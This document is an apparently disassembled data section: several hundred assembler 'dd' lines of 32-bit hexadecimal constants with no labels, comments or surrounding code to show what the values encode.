dd 4D75A3Ch, 9F29D9B9h, 7BD9F35Dh, 0ADF3B253h, 0AC78D6AFh
dd 22B9264Ch, 0C8F3C95Eh, 0B06847A0h, 682F5C23h, 6B99E41Ah
dd 0ECB8EFF7h, 0E8D505A8h, 0EBE118E5h, 0ED88925Ah, 291F8799h
dd 0E80467BCh, 7AEF5DA8h, 0B8B630B9h, 0A9258C3h, 0FCC2143Dh
dd 0E5FBF838h, 0BAAD5382h, 505CC28Dh, 0C824F8F7h, 36C19395h
dd 0BFB651B0h, 0BB14BFC9h, 0E4FA898Bh, 73BDA419h, 9BA1F89Ah
dd 9276E012h, 0D65FE55Ah, 62E05F65h, 0EC9F0A9Ch, 66D3E210h
dd 75D73E7Ch, 8F84F2CEh, 0C5E0AB0Eh, 22375A9Eh, 84A1DDA5h
dd 0A6FEFE17h, 0AF86B58Dh, 0D0EFA0DFh, 785B3AF6h, 0D2F137D9h
dd 6CD72A9Bh, 0BE83A017h, 30936D23h, 8DD6BEBAh, 0A3EABEDCh
dd 634104DEh, 9A4F1EBCh, 0AB00C73h, 2109E0C3h, 0D752DCFh
dd 3D632491h, 1FDB786Dh, 18C6168Ah, 1708F2F9h, 276240EFh
dd 92C2D6Fh, 0E8DABB16h, 0C509DDC1h, 9933DC6Fh, 0B6AE4EF9h
dd 18482781h, 46D77105h, 0A56FE8DEh, 84943692h, 0E5F342C3h
dd 0B66C692h, 4036BDB5h, 53C36E92h, 0AE1A19C9h, 48721A9Bh
dd 0D0E86E88h, 3ABB65Ah, 0C8A11C08h, 3E8E16FCh, 0FD310321h
dd 0DC57CD59h, 0E309C9FFh, 511907DDh, 10B25090h, 2360F292h
dd 205DB633h, 46B1608Ch, 994D8A58h, 0B82CD89h, 0F1DBC25Eh
dd 0A11A2648h, 444FEC91h, 10AD4861h, 72D479A3h, 54395B3h
dd 5879E8F5h, 941A476Ch, 28FE0F35h, 13879D76h, 117C5557h
dd 0D13DCFDFh, 8ECA2074h, 0EAE8126Eh, 0A6720209h, 84943100h
dd 0C3EA343Dh, 153E2638h, 0B4F9FA38h, 337CD204h, 790D7C2Dh
dd 5F7B753Ah, 188128BEh, 0D7CFB494h, 6C24A899h, 531A0A3Dh
dd 4169273Bh, 0F96FE659h, 0AEB0951Ah, 1FFF9426h, 0C03E9FDEh
dd 26F63BD2h, 5EB0E172h, 71071896h, 0D0001BC5h, 179AC483h
dd 31ECD96h, 0BB70D8C4h, 1455B85Fh, 27FE8631h, 8187ABB4h
dd 0E4372796h, 6748F19Eh, 22A0C4D0h, 0CE7CE4FDh, 0D417F7E2h
dd 0EC973020h, 75EAEFA7h, 0E44DA764h, 27185595h, 0EA941EFCh
dd 0EEF3EA3Eh, 4CEA027Ah, 4F019843h, 0E63A0838h, 38BFE7D4h
dd 893FB5C4h, 2DC5687h, 0B9712ADCh, 213C5B3Ch, 658A60B4h
dd 2772D999h, 5CD4494h, 201B2FDh, 61B12982h, 377DF0CCh
dd 72671628h, 76C7D1Dh, 5605F223h, 0BF21333Eh, 11653A6Eh
dd 5E900F74h, 8563D676h, 8C692570h, 5EF393B5h, 239B1D8Dh
dd 976FCDF6h, 0F587B01Fh, 83D264B0h, 0BCA9F7CCh, 29CF724Fh
dd 0C9E2B0AFh, 5D490918h, 1AEF0F25h, 72E467C3h, 0A7BCD6D5h
dd 691FF3E8h, 7F8E043Fh, 0DB180058h, 21876C17h, 9C77D723h
dd 0AC3B1459h, 65B4619Bh, 0EDCE58C3h, 0B54A2602h, 0EE14C63Bh
dd 9DB3F53Eh, 7A4F55DDh, 0FB7F2CBEh, 1D847460h, 0F2770E17h
dd 559DCE02h, 378E9F35h, 0F6CCB3D5h, 75709051h, 9697B19Dh
dd 6AFF23FCh, 2CDC4C1Ah, 0FFE9BA5Ch, 4DE80293h, 32C8B1EFh
dd 60290402h, 1401EA87h, 1DC3C600h, 0BBFEF81Ah, 4CA82458h
dd 0ABB8B3Eh, 0FE2A986Ah, 302C28AAh, 7D6CCD56h, 1FD91F12h
dd 5DB0E785h, 52005C6Dh, 0B4904BB5h, 1F917839h, 0D3A51188h
dd 5AB155C2h, 0C106CDC7h, 8D13D52Dh, 0E98C6F9Eh, 61EC3946h
dd 0E8C2139Bh, 175DAEEAh, 48A562F8h, 0A1DB36BBh, 8C2278E3h
dd 2C6419B7h, 0BC518986h, 3AC23252h, 3D4E1373h, 48C8F95Dh
dd 743DDABFh, 2D303F0h, 0A56B5F25h, 438882ABh, 861789C2h
dd 57C6EE91h, 55E310ECh, 0DC3AFF6Fh, 0B39C05C0h, 0BE9E97F5h
dd 0ED3920A0h, 0D6DDE956h
dd 0A2149F10h, 31948AC4h, 1FCC8114h, 4A37F06Ch, 70A17F8Bh
dd 190945E4h, 5073FD1Bh, 0B71BC48Fh, 45656C38h, 81578964h
dd 0D3F8FBF4h, 5CD0C4E9h, 0A346FD10h, 34E89E2Ch, 0D73520B8h
dd 8CC2721Bh, 0AB862038h, 34D50504h, 66CD731h, 68B77A1Fh
dd 5FEEB28Bh, 13AEB759h, 53C751A1h, 0FFED786Fh, 2451F3D9h
dd 0C13D2D0Bh, 0B3FF6529h, 0CC9DD45Eh, 0D0E7F453h, 0B34F390Ah
dd 0F455EEAEh, 0F6A0FDB9h, 0AC8ED1Dh, 826ED96h, 7F933296h
dd 6241A375h, 0AEA377C2h, 9DDA6C20h, 0D8701007h, 708699C6h
dd 0F9CD7553h, 0E47D8EB7h, 0B16FBA89h, 322DB56h, 861E1BCBh
dd 8AF44BD0h, 3721B1D4h, 56145818h, 0FA1492D7h, 3833F3BFh
dd 8C114677h, 8CBEF7A7h, 17EC4403h, 5B70913h, 0B7212C39h
dd 379B4874h, 3D88EF83h, 6386D69Eh, 0EADFF636h, 0E86A2086h
dd 38F42114h, 0ED665CCFh, 16F3AEF4h, 0E04079C2h, 0F8303885h
dd 2DD40073h, 0E743CA95h, 5A925AE6h, 3335D1A3h, 4F98CD69h
dd 5B5CA89Bh, 0AC382E3Fh, 8947924Fh, 0E2797DCEh, 640CD935h
dd 0B55D1D2h, 9B5552C7h, 0C4572C18h, 43A37BAh, 0DBD85FFh
dd 64DF100Dh, 93EE3AE9h, 0CD2BE88Ch, 9A88E3F5h, 0DAF9B74Fh
dd 8AAF8F9h, 0F24AFE1Dh, 834033h, 0C2906DF1h, 33861ED9h
dd 83A5EEB2h, 5AB2EC4Bh, 8BA64502h, 10FA74D7h, 3526EEA8h
dd 0E21154A7h, 0CB8A549Ah, 0CF8FD304h, 558F8FFFh, 0BC93D6Ch
dd 7DA77F1Dh, 83872844h, 41DFEF95h, 180F8FA7h, 51B92172h
dd 63239A78h, 203C5902h, 0E62ECD9Ah, 963FECEDh, 0B138A688h
dd 0C732A038h, 6C988D29h, 6D95574Bh, 5EA42928h, 59520FE4h
dd 0D9B3FF6Ah, 0D2C37F1Eh, 8E3CE2FCh, 0DA8A6799h, 7AD259D6h
dd 0D46C33F9h, 0EA08434Fh, 0F380CA16h, 93AB5C98h, 9588553Fh
dd 0B62D5275h, 0C5764C26h, 6C38B9Ah, 0C6184EDAh, 51409D86h
dd 0A493B7CBh, 2DAC01Bh, 0D74FD53Eh, 4FEAD54Bh, 437E8721h
dd 0F2602675h, 0B6876A9h, 7216311Ah, 1644C051h, 11B39063h
dd 686FCFE3h, 0E923A25Bh, 23B63C6Dh, 0F32F1C1Dh, 99A86630h
dd 0ED5F3419h, 79FF3249h, 3CC7AC4Ah, 0FDFC72B9h, 88E729D1h
dd 730214Eh, 38E45F03h, 87695AC0h, 0B165671h, 1CC12049h
dd 0A43361E0h, 69FC09C2h, 2AEB6E36h, 5DC558EEh, 47CBCADDh
dd 2B33F26Dh, 0E90236E0h, 9C1EBD83h, 8FCA2885h, 0E1DEEBFDh
dd 73A0C1E7h, 0CB5AE826h, 0C7E0FFFFh, 0DC8C0DA4h, 7BC09922h
dd 1DB6EF17h, 2C5D5A1Bh, 0ECD45DC4h, 513EFF1Dh, 0A406FFB9h
dd 2B707262h, 50104F28h, 88B3D2BDh, 0EAE6BB1Ch, 0BF5EAA44h
dd 7722D8EBh, 6017D283h, 0BD80014Dh, 216214A4h, 46D23694h
dd 0E1D5E5AAh, 0A272E248h, 0E52CA3ACh, 75C8F7F6h, 552536F8h
dd 1899329Dh, 7487A2D9h, 7ADFB8B4h, 0A2B42262h, 4590195Fh
dd 1B6D6B7Ch, 70F8B040h, 4BB7E62Fh, 197A969Ch, 0A34AB9BEh
dd 61C82C7Dh, 24C5B6BAh, 60FF5FDh, 0C9609D2Dh, 0A1E69D28h
dd 6FF845C2h, 96C7DEDh, 63F75218h, 5BD9D05Bh, 23768567h
dd 558C9E31h, 69789B6Eh, 4C81BC7Ah, 3BF32831h, 0BE307E2Ah
dd 5807FF93h, 0C7852396h, 7D351245h, 0C6E838F3h, 163FF660h
dd 0B51A582h, 1E28A746h, 3FC7D5C6h, 577657F3h, 0B01B6BD5h
dd 0C146F4A3h, 0A08F7498h, 9C4B937Dh, 370C012Dh, 0DEFC38F6h
dd 558105F7h, 0DC3E2544h, 234DA47Ah, 71042A00h, 0ABE6BDE6h
dd 2454DE6Fh, 0EF95F038h, 0A05E6867h, 42BAD384h, 7C1C9ADDh
dd 0B372058Fh, 7611D8h, 7D590FC2h, 0B86FC6E8h, 0BCA6563Eh
dd 0E9FB7B4Bh, 0B769D674h, 0B973B3FBh, 18F73682h, 552D2DBBh
dd 0D4CE8ABh, 92F0419Ch, 0CFDDBB0Ah, 629D2494h, 0C0A755EEh
dd 3B2A7116h, 0A951C91Fh, 0A908E9E4h, 0DDF4A460h, 0A7C1FCD3h
dd 0A01295CBh, 5755A7E6h, 51D6B3A5h, 0F8EB049Dh, 67D4AB30h
dd 0F492AB2Bh, 3B31D4C1h, 0B8FABD31h, 2DD197C9h, 63467600h
dd 9F77914Fh, 0FB874DA6h, 0D2FBB304h, 724C387Dh, 0E5F38E34h
dd 9CA419E3h, 39A09BA6h, 0F878898Ch, 0D8F468AFh, 0ACE8C22Ch
dd 1FDCE050h, 2F792EF7h, 0D778D2Ch, 82371764h, 0F4083248h
dd 9D5DF2D9h, 20871366h, 0E743501Ch, 13E88F45h, 0FEB5DB7Fh
dd 3226BC7Ch, 0B64C5BB7h, 0CCD8480Dh, 849318CBh, 80570CCCh
dd 491A2451h, 623D7F65h, 101AA0CAh, 58014297h, 163772F8h
dd 20EBAEFDh, 0A0E2A568h, 88A7E229h, 388E3C49h, 3281E5F1h
dd 6CBC88F4h, 23269CA7h, 11D868AFh, 8372B981h, 18DCC9BEh
dd 0E0981DC1h, 6F5DAF8Ch, 0F08C361Eh, 7C3609DDh, 164496A3h
dd 0C8774A82h, 0F9EFB9B7h, 1428B60Fh, 85F8DD30h, 0F5E5B83Dh
dd 0A2F7B2A6h, 6757B5FAh, 0EFE618EDh, 0F731FB17h, 23B69B8Dh
dd 74F5283Fh, 38546FD2h, 0A6DF6081h, 4A1B7ECh, 91E673D3h
dd 0F48A143Fh, 0FE2EA54Ah, 32E2CCB3h, 53678260h, 62C065B2h
dd 0FF6EB209h, 0C9F9DE6Ah, 595269C4h, 2759E300h, 0E08B6048h
dd 8A8AA0B6h, 54BA58B4h, 1EF53216h, 311E196Eh, 0D1D962B6h
dd 6213ABA6h, 5A0C9FA7h, 0BAD88501h, 472E4528h, 0FDB9A26Ch
dd 0A820DA1Fh, 1EF50D9Bh, 0DDFE28E6h, 6E5C96BDh, 0E6AEC403h
dd 0E01BF0F3h, 26D66DADh, 0AB22B72Ch, 0F0A5C4F5h, 0E328EE77h
dd 23DCCC6Dh, 9F96151Ch, 331CA48Dh, 0B3C2834Eh, 0C768AFA1h
dd 1B4F4494h, 0AC30ECBFh, 0DD4857BFh, 7BD6F303h, 963D93B4h
dd 2090AFA7h, 0C7D2A278h, 26350F84h, 0B94444FAh, 5FACE9CDh
dd 0D75B1FEBh, 0D8E87C65h, 5A1AEAB5h, 0C6E7D32Dh, 323622E7h
dd 0C174329Fh, 96DC14Ah, 0D3EE215Fh, 0C7077608h, 1787E38Ch
dd 43207912h, 3C210716h, 9A1CB293h, 0A8750336h, 29D47C01h
dd 0E33355FCh, 0A39A8D76h, 135EB791h, 6F5A6B19h, 98EF1D50h
dd 379E90E3h, 432E421Ah, 0D8CE249Eh, 9D07765Eh, 2F51B2Fh
dd 69FAB01Bh, 0B229D3D4h, 17A11A89h, 163C6EA6h, 761DE7F4h
dd 3ED42B95h, 0E3C2437Dh, 0AAD28C2Ah, 4B05C22Fh, 82284D2Ah
dd 5CA6D0C9h, 0ADCD4E2Ah, 0FBF969EAh, 0D99528FAh, 0AC2CE52Dh
dd 6C8325Bh, 1C8F597h, 2A6AB6D8h, 7A38200Ch, 5B10596Fh
dd 98D241CFh, 0BA0FC1F1h, 91643902h, 0CF311Ah, 28A5EC47h
dd 95242472h, 49D14BF7h, 0E697E819h, 500E1D95h, 7C46550Dh
dd 48C840F4h, 3BEA89FFh, 46A164E7h, 9BFB1A94h, 0EA5EFDE4h
dd 0D36F402Eh, 0F52339B7h, 620E4012h, 0D59B23F8h, 89DF757Fh
dd 77F0D833h, 0BF9DA55Fh, 0F4AC2270h, 517DC52Eh, 0E5F98E88h
dd 8E9F4D05h, 35CCAEDEh, 72273A8Ch, 4D4DAC70h, 6DAF1DF5h
dd 0BFB95D1Ch, 31E20D7Ch, 9067B34Dh, 46FC1398h, 9B6E9721h
dd 0D8A2824Dh, 0B283AF25h, 94660E54h, 0AF923Eh, 0C09FD2CEh
dd 0DF8F36F8h, 22C8B5A6h, 55DBB577h, 447EFA93h, 0E94F85B8h
dd 9FC909Bh, 9BC34F8Ah, 16B0C75h, 0C97DD751h, 7FDF94CDh
dd 11339FD4h, 0CB0CB915h, 7431A068h, 0C3F549F0h, 0DE50D4D1h
dd 1FC3C9B2h, 25BC3CE4h, 4CC8E037h, 0A2A69706h, 0FB33D9C3h
dd 14A40F16h, 0A61DBF57h, 3F110FEAh, 9A1D9F49h, 2925D1Fh
dd 85732719h, 0D305AAE1h, 3BD461C4h, 22970A50h, 20E93517h
dd 18191BDFh, 3B6E18FFh, 5A4BA8AFh, 968A8D82h, 231D3158h
dd 864768E1h, 9B355BCBh, 0CD940B8Ah, 36D24865h, 9362FDA3h
dd 852B05ACh, 2853A0ADh, 0FFC7CAA6h, 0DAA20B86h, 372E5FE5h
dd 0AEE655F0h, 0DB9551D9h, 0A9082EF2h, 86030D09h, 152862C2h
dd 65CB8234h, 0B62C3EF7h
dd 7271EDAh, 0F7749BCAh, 0C2E09DABh, 3EBBF482h, 3F5E9780h
dd 5A9D72B0h, 69293952h, 977FF3BFh, 0FB17DC91h, 0E0F772F5h
dd 9032BDA5h, 47CA6FB0h, 0F44119Ah, 4E4F84ABh, 2AB5A317h
dd 33051641h, 0ABCFB493h, 5E0A02C3h, 0E54A6A2h, 0A23E3DDCh
dd 0AD2990Ah, 0A78AAADEh, 5652328Fh, 67E8A588h, 151BC3ECh
dd 0E5BD1B10h, 6CE508C0h, 6089A5B2h, 1BC58DB9h, 4CF7BEC5h
dd 8C0C3923h, 0D69DD417h, 0E626F3h, 49B29239h, 0EFDAFEB4h
dd 9E23A488h, 0AD563367h, 169B2E79h, 806D87A5h, 4337C347h
dd 3BB3B0F7h, 9B48AF14h, 0FB1317F0h, 7DB6E383h, 0DC7A8DE4h
dd 9572571Dh, 0E4F0DAE7h, 0B1C58DB0h, 0B9892885h, 7A42928h
dd 0C52F3B95h, 0D4EDB16Bh, 0CB6CEF5Fh, 2090D820h, 527BD568h
dd 7FCF7C53h, 80622ADEh, 122FF8ECh, 36F812E5h, 0EAEDC8F3h
dd 0DFA14DB3h, 0EB464835h, 0E3A47C9Bh, 0E61C1B45h, 0A9A2A272h
dd 48D3ED38h, 5A286517h, 9E61B1BDh, 0E05062DAh, 0C1BE6236h
dd 0A963168h, 2A6EB2CEh, 9FF8359Fh, 626165E9h, 7A392D2Dh
dd 1A087517h, 76FE5E46h, 0E02BE463h, 0B5493E00h, 0E633D164h
dd 1F29CCDAh, 6341E8A3h, 0CDEAEEA4h, 0D2FD7615h, 8F75B6EBh
dd 48EFB46Fh, 0F7AF785Dh, 0E2EAA0F2h, 0FCC1AB6Fh, 28921854h
dd 0B548E4CCh, 0A5863433h, 5E3F356Ch, 6B7B8574h, 1705DDB6h
dd 0F0F1BB98h, 4606B124h, 9C20D812h, 4C87F588h, 0F93C75D5h
dd 0D2E624C3h, 8300CC01h, 1632FCDCh, 2E9DD194h, 0ADAF852Eh
dd 29A93C6Ch, 0A0127601h, 5D7475FEh, 0E2707138h, 4FA780A0h
dd 5767B3D0h, 0FC55038Bh, 0F042A4E8h, 33BAA5C8h, 0E15B99FFh
dd 0D9E88913h, 0EA5E595Fh, 4BA56C5Fh, 4D4AD45Bh, 771AC85Ah
dd 0A7D5645Ch, 7489DBC4h, 31DB022h, 76B3981Ah, 0F99F3332h
dd 22F50032h, 4FC88F80h, 2C7610D1h, 9BD54E26h, 8EDBD965h
dd 69FF2105h, 31C17385h, 5E82CCCCh, 9C120EB1h, 1C4B823Bh
dd 0B86F8B8Eh, 4C4BD7C5h, 3386E282h, 1A2A536h, 202ADFE4h
dd 0ABAC3E20h, 3124E9AFh, 1585C1A1h, 83A1C855h, 6BE05D60h
dd 4E88BE2Bh, 5156F72Fh, 0BB6FC9C4h, 115A5992h, 189E9BEDh
dd 0EA60D743h, 0EB146470h, 0AD30198Dh, 5BB13145h, 5DF5FF97h
dd 0BC0D7AE6h, 0AD9EFC61h, 35FA6032h, 0D7D96CA7h, 30285707h
dd 0A27B42E6h, 4EF13C5Bh, 0C7FCBA3Ch, 362FDBC3h, 35A768CCh
dd 83B4FA71h, 0E04F648Ch, 0C05BD836h, 3BC3769Ah, 165C6E63h
dd 6669EC93h, 0F0F25A1Fh, 943A0A21h, 8877D863h, 0F399D965h
dd 2C20A6D8h, 0F6C1E9B2h, 7A48CD32h, 69B59CE5h, 4C0A9B5Fh
dd 0C00AF767h, 0A732BD15h, 0F2BB3CA0h, 182E4DC7h, 2A9F4FD2h
dd 77ACF5E3h, 0A9F31E79h, 0E3F23FEh, 0A7E5528Ah, 0FEA6BFA8h
dd 0C777E080h, 559DC1EEh, 0A8318A6Ah, 6519EA87h, 0A8BBAE71h
dd 15BA084Dh, 1377963Fh, 38AB588Bh, 0E51360Eh, 0A298990Dh
dd 151F028Ah, 2B563064h, 4E1C4946h, 8E3B3479h, 2DA027D7h
dd 0BB44BD15h, 69658712h, 111BA6F7h, 698F47FAh, 7E39E722h
dd 6C4550D4h, 0C6BB6B4Fh, 0A68F529Fh, 0F5B43362h, 9D40C6BAh
dd 0B25B12FAh, 0B82A1C7Fh, 6061216Ah, 0E60869C2h, 84F43A60h
dd 0B51245DCh, 0C2102A1h, 0BBA4F87Fh, 21CEB085h, 0A4F76C7Bh
dd 0C82FCE74h, 0FC03D762h, 316D37FDh, 9B655263h, 0CC597D4Ch
dd 1619BB32h, 726DCC95h, 38ECAB71h, 20EB14E5h, 0BD2F2F4Ah
dd 2668897Eh, 95794BA8h, 0BF3D94F7h, 0A7FFF5EDh, 2C717984h
dd 342600A6h, 2BF2F490h, 0F5417FE0h, 92FE579h, 0C0E4F6E0h
dd 0F040CC16h, 7C591973h, 7CA08D74h, 0F477E955h, 0C7141120h
dd 0DA4E711Ch, 7470D63Ah, 0A1ADDC36h, 2DB41F3Bh, 4A6CCED0h
dd 998C216Ah, 822C2E9Dh, 82484766h, 0E00F4362h, 71E379C1h
dd 14B12442h, 4462EC60h, 8145982Ah, 0B85B6E36h, 0BFBA77B8h
dd 6445E376h, 296ABDA4h, 0DC61805Eh, 95258EC4h, 0A6B9FCEDh
dd 835D6B76h, 5AECB08Ch, 89A5615Ch, 0DAB52D50h, 309E1278h
dd 5F58F742h, 0EDD0D46Bh, 4F12925Bh, 0C47ED78Eh, 130D38C2h
dd 6524DE69h, 6961894Ah, 0C7F3921Bh, 793CD470h, 0C8615E2Dh
dd 58C7E4AFh, 0AFDD3AB8h, 51F5F58Bh, 909CE1C7h, 709DA8C6h
dd 66824E49h, 0FDB30CC7h, 0B632D006h, 501D1527h, 0C3BC5126h
dd 21F3F1ACh, 1A7A6DD4h, 7424DFECh, 6F3E0422h, 4B28CA22h
dd 9DEDDA3Bh, 2183C5FAh, 0B5E1160Eh, 74B459D9h, 0C5EE0C3Dh
dd 0E6553003h, 51AFFE3Bh, 62635103h, 0B3067138h, 0E8E199A0h
dd 37B3650Fh, 193D89F7h, 0B41AD31Bh, 0ECF3DDAh, 0A77E4E5Dh
dd 0C7F2097Bh, 0F6348AEh, 0BE3E6FB4h, 0BEEB46C1h, 43F24D2Ch
dd 0CCAE16ADh, 2D5A3F5Ch, 2E24B934h, 7F26740Bh, 0B9A262F5h
dd 6082BEF5h, 132D51F3h, 1C921161h, 6896751Fh, 0B5B958C7h
dd 9B9F0D55h, 0BF8B716Eh, 1102DAD6h, 7C904F93h, 0D3B07926h
dd 4126693Fh, 0FD5DE856h, 0DA3CE29h, 0F915A99Ah, 0A988F76Fh
dd 5A604BFCh, 34053E40h, 0E588BC6Ah, 70FCC30Fh, 0FBD4F0A8h
dd 4AF8BC9Fh, 2CD62C7Ch, 0D8750B88h, 5BA9BAEDh, 0ED2D288Ah
dd 76B8C195h, 4316311h, 0C848F3Eh, 7E6BB06Dh, 0F67D4E58h
dd 56E3C841h, 878BC11Dh, 9C2C905Dh, 0C5A481E7h, 9591AB04h
dd 0F9B4D12Eh, 0AC933A8Dh, 0BB9099E1h, 48B4C032h, 498C3F79h
dd 66877853h, 815662FFh, 0D0D1BB0h, 9F2612E6h, 4ED1948Ah
dd 5AB7A6CFh, 6192F713h, 0B9C3B879h, 83964E78h, 0D4512A2Ch
dd 295D4CE5h, 3D904075h, 1CEE8CCAh, 6C49776h, 0E3B7E428h
dd 508FC312h, 21847EBBh, 0D4FDED93h, 0E0826190h, 8C4D8CA4h
dd 0ED4A385Fh, 0F3CF3BC6h, 8E90FB0Eh, 6E7B0D2Fh, 1AB2DB3Dh
dd 0D14CBB7h, 0A79DEE58h, 85E2AFC3h, 2E2E2EEDh, 38403D74h
dd 87E14A40h, 0D309B027h, 48453241h, 0A5E4D36h, 34E5BD31h
dd 11F0167h, 0C93885C0h, 27A6ABBDh, 0BED7981Fh, 43301DAh
dd 8CF8307Fh, 4085484Fh, 0C61F1642h, 7607A791h, 58E544D2h
dd 0FFD4D3B6h, 0ED1D325Bh, 0CA806B9Dh, 0D10F0399h, 0AE95C322h
dd 7BD149A9h, 158491EFh, 5C1876FCh, 0A900EDC0h, 0FAE75CBFh
dd 0D5A8BD40h, 8200A70Ch, 0D47FD855h, 34C4FAD4h, 0ED182720h
dd 2C4C35DEh, 537D26E6h, 0F9DF900Eh, 50C7F37Dh, 4892DD1Bh
dd 70BF5849h, 64071BF6h, 0ABEADB46h, 0A8A9E81Ch, 0AE066201h
dd 0CBB202D4h, 8D614ED5h, 0EFB3159Bh, 0B158887Fh, 0AA359005h
dd 58E2071Ah, 190CB03Eh, 0DB950279h, 817FB75Bh, 74C38EFCh
dd 4BA5B37h, 40E08964h, 537D8343h, 68633F38h, 0C5D60F71h
dd 0C7F5C663h, 9D622A51h, 3B387561h, 416B5875h, 8D82552Dh
dd 0DD17EA2Fh, 732BF132h, 54A6615Eh, 0DA086F31h, 0E0B250EDh
dd 0DE8A85EAh, 0F6729EE1h, 9AE7358Eh, 6FFE8620h, 0DD65A716h
dd 533CE7B3h, 581A1C64h, 0EC000C1Eh, 925431F8h, 0B88F0D5h
dd 21E9B124h, 64C58B3Ch, 72A2CFAh, 523A459Dh, 40AA92AAh
dd 3CA0FBB4h, 437480Eh, 0C0663F96h, 9A5C5662h, 6F8FFBF4h
dd 0BC55FE81h, 60405CE0h, 2C7ADB26h, 0DBBA0A90h, 0E8652593h
dd 0B594997Eh, 0F29C89A6h, 8C6962BEh, 5DBA1B66h, 0CA09D1EDh
dd 3DB60BBAh, 1CBD50Ch, 0F2E40711h, 0BA61F5E5h, 352EC8DEh
dd 0A27DB8ACh, 7C9ADA52h, 0F14E0151h, 538A6091h, 0ADC73C9Ah
dd 0F7642F19h, 0F7028F13h, 8AAF1015h, 0FDCB65B7h, 9829F319h
dd 0C35ECD16h, 684E82BFh, 0F61F0542h, 63C3DC3Ch, 85F32855h
dd 12384E03h, 3AA4AD37h
dd 2758FBCEh, 9C000AD2h, 458E5DF9h, 8F95FD75h, 690A1CAh
dd 6DBB0684h, 16F2694h, 38C38C90h, 1A4C3CD0h, 0C66C4E6Ah
dd 97D1E1E4h, 0E0FF769Eh, 0C0264BFCh, 0CC41BF94h, 4B0186CDh
dd 0BFA1EA30h, 0BA6F5FD7h, 1C4D346Eh, 226CBE1Bh, 1206E6D7h
dd 2F0F6160h, 0BE698FCh, 2C0882B4h, 9596FF94h, 0B56AF46Bh
dd 6473D088h, 0B8DF33ADh, 0B2F5CC49h, 6EB39D3Bh, 0EF7F9952h
dd 0C9F0FD56h, 0EDE1474Fh, 4F65D579h, 42FB9452h, 399147A0h
dd 7C1226DDh, 687945C5h, 0C69C33D4h, 7452F62h, 7B07FEC8h
dd 0CBAC845Ch, 0B520795Bh, 20F76211h, 0A2FA3CDDh, 0B3504C99h
dd 98777D2Eh, 0C2970F61h, 6F341641h, 0C3C28E83h, 9C282B87h
dd 317E7D71h, 3A8694BCh, 50538305h, 0EA61CA12h, 4E12534Bh
dd 8F249DA1h, 85F1225h, 0DC039825h, 0F941E577h, 5E6F9E8Bh
dd 6C6AC918h, 0F11A9FD5h, 0CE4D310Dh, 8230CE07h, 0E8C85A9Eh
dd 12D4956Dh, 3CFA29F2h, 156C7D3Fh, 0ABC1C6C2h, 8B8E076Ch
dd 0E6A3E4BFh, 0C12FDCDBh, 41F60596h, 25865914h, 463F94BAh
dd 1DA87668h, 1BC7927h, 6103A2A7h, 0CE693BD6h, 668E7336h
dd 0AACCF7C2h, 85916A38h, 7FC21EA1h, 6CCAE044h, 0C99B61CBh
dd 0ABE61B62h, 0B2063F6Ah, 0FDC46DCFh, 0E91F210Ah, 723918B9h
dd 1847D19h, 2EE8A6F9h, 389A6D9Eh, 0BBB2BFF8h, 5A45CEh
dd 87BF46ABh, 0AA4C4ABFh, 35FED869h, 350A1C9Dh, 3A6F5961h
dd 0B212A69Ch, 45DC36E3h, 706BA5D9h, 36A0D714h, 5C94DDE8h
dd 0C16FE602h, 4B091421h, 0F8B33CCh, 2385CACEh, 22CD17BCh
dd 4ADC7353h, 0F582E01h, 1248B55Ch, 0EFD5C894h, 0A3A8C0C5h
dd 5ED09250h, 3B74ECB7h, 30E40CBBh, 0B5A552C5h, 46BAAFBDh
dd 0A1106108h, 82B2BF70h, 8FA94B7h, 0D7A9A340h, 63D312BEh
dd 1DF8D010h, 0A3601045h, 0BD8953C0h, 5FEC7E80h, 871074FCh
dd 9B0999DEh, 15A70C10h, 16E7C6EDh, 0DF6B9467h, 0A36C4E13h
dd 3F2DAD91h, 0DC7E21D3h, 558B1D5h, 230CA602h, 0D9BD688Eh
dd 0F206C638h, 0A3A2010Bh, 972F72DDh, 0F3E5AA12h, 78BADD42h
dd 0C2F212F5h, 7C4C8AF0h, 1110CD29h, 0E6064C60h, 0A978FC5Fh
dd 0BABA685Bh, 8E56DE8Eh, 5B65EE9Fh, 2BD563EAh, 0CF374408h
dd 0BCE6C8BFh, 2FB2097h, 86934F1Ch, 0DC41A216h, 0B3833253h
dd 0F51AB9CAh, 0A056B850h, 0E57A6CF7h, 5B5C2CAFh, 0F13D7F0Bh
dd 39B5515Eh, 42488C9Dh, 0B76B3363h, 0D83FB189h, 0C4D545D6h
dd 9CCF2162h, 0B19A63BCh, 0EAE017ECh, 6549AA08h, 632FB89Ch
dd 0C39827A2h, 957DB200h, 125B70D5h, 63C68F2Ah, 4241A884h
dd 99F6DD66h, 0E48FF62Ah, 90339EFDh, 34D3B49Eh, 0D8CF89A2h
dd 29E72158h, 66D50B08h, 0E0C594ECh, 0B37ACCB8h, 573C33DEh
dd 0C89C62DBh, 743809BEh, 0FC733182h, 654C0E97h, 0EC6CE742h
dd 0F5142474h, 3287CAA8h, 34A478Fh, 0D7F7EC17h, 400E39A1h
dd 432888Ch, 46594B02h, 47AACA74h, 0B351FD83h, 0CF9DA563h
dd 0D982E446h, 0D31770A1h, 0A5B5487Ah, 0AFD8E218h, 58B205AFh
dd 0AB6A9356h, 1F000714h, 0E9D85679h, 0E8C0020Ch, 9BF600BCh
dd 0D84AB8B0h, 0BC7599CDh, 0CA82CB06h, 5157812Fh, 0BBB4C7B8h
dd 0B578F33Dh, 0A0CAC606h, 587FCCF1h, 0C2EE3409h, 106EEFBh
dd 0DF6D45B4h, 6C168C5h, 151F30ABh, 3457A130h, 0BB17E668h
dd 0F4475856h, 7A3FBB8Fh, 73BCA36Fh, 0F91E88D1h, 3C9616FAh
dd 86A341C1h, 0A82D6D7Eh, 0CB12B798h, 50283F0Dh, 16322BB2h
dd 3766E460h, 7781E3EFh, 7F13BBFh, 8C1C624h, 0D25F8A2Ch
dd 0C11527F4h, 0C1E9210Ah, 86DF2F0Ah, 0E83876D4h, 399334BCh
dd 88AEB04Ah, 441C5371h, 1E09F79Fh, 1FDD403Bh, 95D93ACCh
dd 49F2D079h, 0AA21F993h, 0E246C112h, 6B8E5AB2h, 0A4AB444Ch
dd 89AA1915h, 916F0EF3h, 0EAEB421Fh, 4D97F4F9h, 0D64FAB06h
dd 0D978375Eh, 0ED00661Fh, 3718F715h, 9A8DEE95h, 4F8E7D1Eh
dd 0ADACCD40h, 1DE154BFh, 8DEBF4FFh, 291E0448h, 5E32923Eh
dd 5F9E5AA9h, 447B4893h, 824C4A9Dh, 0EF05F4B3h, 0E0286685h
